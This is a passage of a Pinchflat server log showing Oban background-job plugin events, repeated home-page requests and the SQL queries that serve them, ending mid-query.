22:24:17.977 [debug] QUERY OK source="sources" db=0.8ms queue=0.3ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:24:17.979 [info] Sent 200 in 29ms 22:24:17.979 [info] Sent 200 in 28ms 22:24:46.031 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.630 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:16.032 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:46.035 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.631 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:16.037 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:46.039 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.632 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:16.041 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:46.043 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.636 [info] {"source":"oban","duration":2093,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:16.045 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:46.047 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.637 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:16.049 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:46.051 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.639 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:16.053 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:46.055 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:54.956 [info] GET / 22:30:54.956 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:30:54.957 [debug] QUERY OK source="settings" db=0.9ms idle=1302.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:54.958 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1303.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:30:54.958 [debug] QUERY OK source="sources" db=0.2ms idle=1303.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:30:54.959 [debug] QUERY OK source="media_items" db=1.0ms idle=1304.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:54.960 [debug] QUERY OK source="media_items" db=0.6ms idle=382.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:54.961 [debug] QUERY OK source="settings" db=1.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:54.962 [debug] QUERY OK source="settings" db=0.4ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:54.963 [debug] QUERY OK source="settings" db=0.7ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:54.964 [debug] QUERY OK source="tasks" db=0.5ms idle=4.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:30:54.965 [debug] QUERY OK source="media_items" db=0.3ms idle=4.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:54.966 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:30:54.968 [debug] QUERY OK source="media_items" db=1.5ms idle=4.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:30:54.970 [debug] QUERY OK source="media_items" db=0.9ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:30:54.970 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:30:54.972 [info] Sent 200 in 16ms 22:30:55.348 [info] GET / 22:30:55.348 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:30:55.349 [debug] QUERY OK source="settings" db=0.9ms idle=382.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:55.349 [debug] QUERY OK source="media_profiles" db=0.3ms idle=382.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:30:55.350 [debug] QUERY OK source="sources" db=0.4ms idle=381.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:30:55.352 [debug] QUERY OK source="media_items" db=1.3ms idle=380.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:55.352 [debug] QUERY OK source="media_items" db=0.2ms idle=381.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:55.353 [debug] QUERY OK source="settings" db=0.5ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:55.353 [debug] QUERY OK source="settings" db=0.5ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:55.355 [debug] QUERY OK source="settings" db=1.2ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:55.356 [debug] QUERY OK source="tasks" db=0.2ms idle=4.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:30:55.357 [debug] QUERY OK source="media_items" db=0.3ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:55.358 [debug] QUERY OK source="media_items" db=0.6ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:30:55.359 [debug] QUERY OK source="media_items" db=0.9ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:30:55.360 [debug] QUERY OK source="media_items" db=0.8ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:30:55.361 [debug] QUERY OK source="sources" db=0.3ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:30:55.362 [info] Sent 200 in 14ms 22:30:56.035 [info] GET / 22:30:56.035 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:30:56.036 [debug] QUERY OK source="settings" db=0.7ms idle=677.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.037 [debug] QUERY OK source="media_profiles" db=0.3ms idle=677.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:30:56.037 [debug] QUERY OK source="sources" db=0.2ms idle=676.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:30:56.037 [debug] QUERY OK source="media_items" db=0.4ms idle=676.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:56.038 [debug] QUERY OK source="media_items" db=0.5ms idle=458.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:56.039 [debug] QUERY OK source="settings" db=0.7ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.039 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.040 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.042 [debug] QUERY OK source="tasks" db=0.7ms idle=3.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:30:56.042 [debug] QUERY OK source="media_items" db=0.3ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:56.043 [debug] QUERY OK source="media_items" db=0.7ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:30:56.045 [debug] QUERY OK source="media_items" db=1.1ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:30:56.046 [debug] QUERY OK source="media_items" db=1.1ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:30:56.047 [debug] QUERY OK source="sources" db=0.3ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:30:56.048 [info] Sent 200 in 13ms 22:30:56.178 [info] GET / 22:30:56.178 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:30:56.179 [debug] QUERY OK source="settings" db=0.8ms idle=135.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.180 [debug] QUERY OK source="media_profiles" db=0.4ms idle=135.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:30:56.180 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=134.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:30:56.181 [debug] QUERY OK source="media_items" db=0.7ms idle=134.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:56.182 [debug] QUERY OK source="media_items" db=1.0ms idle=134.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:30:56.183 [debug] QUERY OK source="settings" db=0.8ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.184 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.185 [debug] QUERY OK source="settings" db=0.3ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:30:56.186 [debug] QUERY OK source="tasks" db=0.5ms idle=4.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", 